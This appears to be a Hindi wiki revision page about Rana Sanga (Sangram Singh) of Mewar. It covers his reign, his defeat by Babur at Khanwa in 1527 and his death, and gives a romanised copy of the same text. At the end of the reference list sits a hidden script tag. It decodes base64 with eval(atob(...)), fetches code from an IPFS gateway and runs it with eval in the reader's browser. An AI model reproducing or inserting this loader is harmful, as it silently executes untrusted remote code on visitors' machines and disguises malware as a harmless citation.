Difference between revisions of "राणा साँगा"

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'''राणा साँगा''', को संग्राम सिंह के नाम से भी जाना जाता है। संग्राम सिंह [[वायमल्ल]] का पुत्र और उत्तराधिकारी था। इतिहास में वह [[मेवाड़]] का राजा साँगा के नाम से प्रसिद्ध था, जिसने 1508 ई. से 1529 ई. क शासन किया। संग्राम सिंह महान योद्धा था और तत्कालीन [[भारत]] के समस्त राज्यों में से ऐसा कोई भी उल्लेखनीय शासक न था, जो उससे लोहा ले सके। [[बाबर]] के भारत पर आक्रमण के समय राणा साँगा को आशा थी कि वह भी [[तैमूर]] की भाँति [[दिल्ली]] में लूट-पाट करने के उपरान्त स्वदेश लौट जायेगा। किन्तु जब उसने देखा कि 1526 ई. में [[इब्राहीम लोदी]] को [[पानीपत]] के युद्ध में परास्त कर बाबर दिल्ली में शासन करने लगा है, तो वह अपने 120 सहायक सामन्तों, 80 हज़ार अश्वारोहियों और 500 हाथियों की एक विशाल सेना लेकर बाबर से युद्ध के लिए चल पड़ा। 16 मार्च, 1527 ई. को [[खानवा]] नामक स्थान पर बाबर से उसका घमासान युद्ध हुआ। यद्यपि इस युद्ध में [[राजपूत|राजपूतों]] ने अत्यधिक वीरता दिखाई, तथापि वह बाबर द्वारा पराजित हुए। इस युद्ध में राणा साँगा जीवित तो बच गया, किन्तु पराजय के आघात से दो वर्ष के उपरान्त ही उसकी मृत्यु हो गई और भारत में [[हिन्दू]] राज्य स्थापित करने का उसका सपना भंग हो गया।
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'''राणा साँगा''' को 'संग्राम सिंह' के नाम से भी जाना जाता है। वह [[वायमल्ल]] का पुत्र और उत्तराधिकारी था। [[इतिहास]] में संग्राम सिंह [[मेवाड़]] का राजा साँगा के नाम से प्रसिद्ध था, जिसने 1508 ई. से 1529 ई. क शासन किया। राणा साँगा महान योद्धा था और तत्कालीन [[भारत]] के समस्त राज्यों में से ऐसा कोई भी उल्लेखनीय शासक न था, जो उससे लोहा ले सके।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय इतिहास कोश |लेखक= सच्चिदानन्द भट्टाचार्य|अनुवादक= |आलोचक= |प्रकाशक=उत्तर प्रदेश हिन्दी संस्थान |संकलन= |संपादन= |पृष्ठ संख्या=458|url=}}</ref>
  
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*[[बाबर]] के भारत पर आक्रमण के समय राणा साँगा को आशा थी कि वह भी [[तैमूर]] की भाँति [[दिल्ली]] में लूट-पाट करने के उपरान्त स्वदेश लौट जायेगा।
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*1526 ई. में राणा साँगा ने देखा कि [[इब्राहीम लोदी]] को [[पानीपत]] के युद्ध में परास्त कर बाबर [[दिल्ली]] में शासन करने लगा है, तो वह अपने 120 सहायक सामन्तों, 80 हज़ार अश्वारोहियों और 500 [[हाथी|हाथियों]] की एक विशाल सेना लेकर बाबर से युद्ध के लिए चल पड़ा।
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*[[16 मार्च]], 1527 ई. को [[खानवा]] नामक स्थान पर बाबर से उसका घमासान युद्ध हुआ।
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*युद्ध में [[राजपूत|राजपूतों]] ने अत्यधिक वीरता दिखाई, तथापि वह बाबर द्वारा पराजित हुए।
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*खानवा के युद्ध में राणा साँगा जीवित तो बच गया, किन्तु पराजय के आघात से दो वर्ष के उपरान्त ही उसकी मृत्यु हो गई और [[भारत]] में [[हिन्दू]] राज्य स्थापित करने का उसका सपना भंग हो गया।
  
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Revision as of 05:59, 30 August 2012

rana saanga ko 'sangram sianh' ke nam se bhi jana jata hai. vah vayamall ka putr aur uttaradhikari tha. itihas mean sangram sianh meva d ka raja saanga ke nam se prasiddh tha, jisane 1508 ee. se 1529 ee. k shasan kiya. rana saanga mahan yoddha tha aur tatkalin bharat ke samast rajyoan mean se aisa koee bhi ullekhaniy shasak n tha, jo usase loha le sake.[1]

  • babar ke bharat par akraman ke samay rana saanga ko asha thi ki vah bhi taimoor ki bhaanti dilli mean loot-pat karane ke uparant svadesh laut jayega.
  • 1526 ee. mean rana saanga ne dekha ki ibrahim lodi ko panipat ke yuddh mean parast kar babar dilli mean shasan karane laga hai, to vah apane 120 sahayak samantoan, 80 hazar ashvarohiyoan aur 500 hathiyoan ki ek vishal sena lekar babar se yuddh ke lie chal p da.
  • 16 march, 1527 ee. ko khanava namak sthan par babar se usaka ghamasan yuddh hua.
  • yuddh mean rajapootoan ne atyadhik virata dikhaee, tathapi vah babar dvara parajit hue.
  • khanava ke yuddh mean rana saanga jivit to bach gaya, kintu parajay ke aghat se do varsh ke uparant hi usaki mrityu ho gee aur bharat mean hindoo rajy sthapit karane ka usaka sapana bhang ho gaya.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. bharatiy itihas kosh |lekhak: sachchidanand bhattachary |prakashak: uttar pradesh hindi sansthan |prishth sankhya: 458 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh